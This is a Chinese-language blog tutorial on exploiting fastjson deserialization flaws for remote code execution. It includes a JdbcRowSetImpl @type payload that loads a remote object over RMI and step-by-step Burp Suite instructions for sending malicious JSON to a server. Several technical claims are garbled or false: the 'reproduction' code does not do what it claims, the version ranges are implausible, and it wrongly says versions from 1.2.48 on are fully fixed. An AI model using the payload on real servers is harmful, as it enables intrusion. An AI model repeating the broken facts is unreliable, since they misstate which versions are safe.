fastjson漏洞利用詳解

一、fastjson漏洞利用工具

fastjson漏洞利用是網路攻擊中的一種利用方式,為了方便攻擊者,已經有很多的工具可供選擇,例如redr2,xray,whatweb等。這些工具都可以幫助用戶自動化地尋找存在fastjson漏洞的網站並進行攻擊。

二、fastjson漏洞利用條件

fastjson漏洞利用需要滿足以下兩個條件:

1、可以將第一次請求的json響應數據保存下來

2、可以偽造json數據發送到伺服器

一般情況下,可以通過Burp Suite等代理工具來保存第一次請求的json響應數據,並使用類似Postman的工具偽造json數據發送到伺服器上。

三、fastjson最新漏洞

fastjson最新漏洞是在2021年6月曝光的,攻擊者可以通過構造惡意的json數據來實現遠程代碼執行。這個漏洞被命名為「天王裸奔」。

四、fastjson漏洞原理

fastjson漏洞原理是因為fastjson在反序列化時對數據結構沒有嚴格的限制,導致攻擊者可以在json數據中夾帶惡意的類。攻擊者可以通過構造不同的類來實現遠程代碼執行。

五、fastjson反序列化

fastjson反序列化是fastjson將json數據轉化為Java對象的過程。

public static <T> T parseObject(String json, Class<T> clazz);

上述代碼調用parseObject方法將json字元串轉化為Java對象。

六、fastjson漏洞復現

fastjson漏洞復現可以通過以下漏洞代碼實現:

package com.alibaba.fastjson.demo;
public class Person {
  public String name;
  public int age;
}
String json = "{\"name\":\"wei\",\"age\":28,\"type\":{\"@type\":\"java.lang.Class\",\"val\":\"com.alibaba.fastjson.demo.Shell\"}}";
Person person = JSON.parseObject(json, Person.class);
System.out.println(person.name);

上述代碼中,Fastjson將json字元串轉化為Person對象,但是type欄位中惡意的類名將在轉化時執行遠程代碼。

七、fastjson漏洞版本列表

以下是fastjson漏洞版本列表:

fastjson 1.2.24到1.2.47

fastjson 1.1.35到1.1.71

fastjson 1.2.48以及之後的版本已經修復了這個漏洞。

八、fastjson漏洞利用原理

fastjson漏洞利用的原理是在構造json數據時夾帶惡意的類名。通過構造不同的類名,攻擊者可以實現遠程代碼執行。

九、fastjson漏洞利用特徵

fastjson漏洞的利用特徵是type欄位中的@type關鍵詞。

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://127.0.0.1:1099/EvilObject",
  "autoCommit": true
}

上述例子中的@type關鍵詞可以在反序列化時執行遠程代碼。

十、fastjson漏洞利用詳解

fastjson漏洞利用的步驟如下:

1、使用Burp Suite等工具保存第一次請求的數據。

2、構造惡意的json數據,夾帶惡意的類名。

3、使用Burp Suite等工具修改第一次請求的數據,將惡意的json數據發送到伺服器上。

上述步驟可以成功地利用fastjson漏洞實現遠程代碼執行。

十一、總結

fastjson漏洞是網路攻擊中常見的一種類型。攻擊者可以通過構造json數據夾帶惡意的類名實現遠程代碼執行。為了防止漏洞的利用,用戶需要及時升級fastjson版本,並且需要過濾惡意的json數據。

原創文章,作者:RTMKM,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/334778.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
RTMKM的頭像RTMKM
上一篇 2025-02-05 13:05
下一篇 2025-02-05 13:05

相關推薦

  • Treck TCP/IP Stack 輸入驗證錯誤漏洞CVE-2020-11901解析

    本文將對Treck TCP/IP Stack 輸入驗證錯誤漏洞CVE-2020-11901進行詳細解析,並提供相關代碼示例。 一、漏洞背景 Treck TCP/IP Stack是一…

    編程 2025-04-27
  • Python漏洞挖掘全指南

    本文將從多個方面詳細闡述Python漏洞挖掘的相關知識,幫助開發工程師了解並掌握漏洞挖掘的基礎知識和實戰技巧。 一、漏洞類型 漏洞是指誤用或設計上的錯誤,可導致產品、應用或系統中存…

    編程 2025-04-27
  • Linux sync詳解

    一、sync概述 sync是Linux中一個非常重要的命令,它可以將文件系統緩存中的內容,強制寫入磁碟中。在執行sync之前,所有的文件系統更新將不會立即寫入磁碟,而是先緩存在內存…

    編程 2025-04-25
  • 神經網路代碼詳解

    神經網路作為一種人工智慧技術,被廣泛應用於語音識別、圖像識別、自然語言處理等領域。而神經網路的模型編寫,離不開代碼。本文將從多個方面詳細闡述神經網路模型編寫的代碼技術。 一、神經網…

    編程 2025-04-25
  • Python輸入輸出詳解

    一、文件讀寫 Python中文件的讀寫操作是必不可少的基本技能之一。讀寫文件分別使用open()函數中的’r’和’w’參數,讀取文件…

    編程 2025-04-25
  • Python安裝OS庫詳解

    一、OS簡介 OS庫是Python標準庫的一部分,它提供了跨平台的操作系統功能,使得Python可以進行文件操作、進程管理、環境變數讀取等系統級操作。 OS庫中包含了大量的文件和目…

    編程 2025-04-25
  • 詳解eclipse設置

    一、安裝與基礎設置 1、下載eclipse並進行安裝。 2、打開eclipse,選擇對應的工作空間路徑。 File -> Switch Workspace -> [選擇…

    編程 2025-04-25
  • nginx與apache應用開發詳解

    一、概述 nginx和apache都是常見的web伺服器。nginx是一個高性能的反向代理web伺服器,將負載均衡和緩存集成在了一起,可以動靜分離。apache是一個可擴展的web…

    編程 2025-04-25
  • git config user.name的詳解

    一、為什麼要使用git config user.name? git是一個非常流行的分散式版本控制系統,很多程序員都會用到它。在使用git commit提交代碼時,需要記錄commi…

    編程 2025-04-25
  • Linux修改文件名命令詳解

    在Linux系統中,修改文件名是一個很常見的操作。Linux提供了多種方式來修改文件名,這篇文章將介紹Linux修改文件名的詳細操作。 一、mv命令 mv命令是Linux下的常用命…

    編程 2025-04-25

發表回復

登錄後才能評論